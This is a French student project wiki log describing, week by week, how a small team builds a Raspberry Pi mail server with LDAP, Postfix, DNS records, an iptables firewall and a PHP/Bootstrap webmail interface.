Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
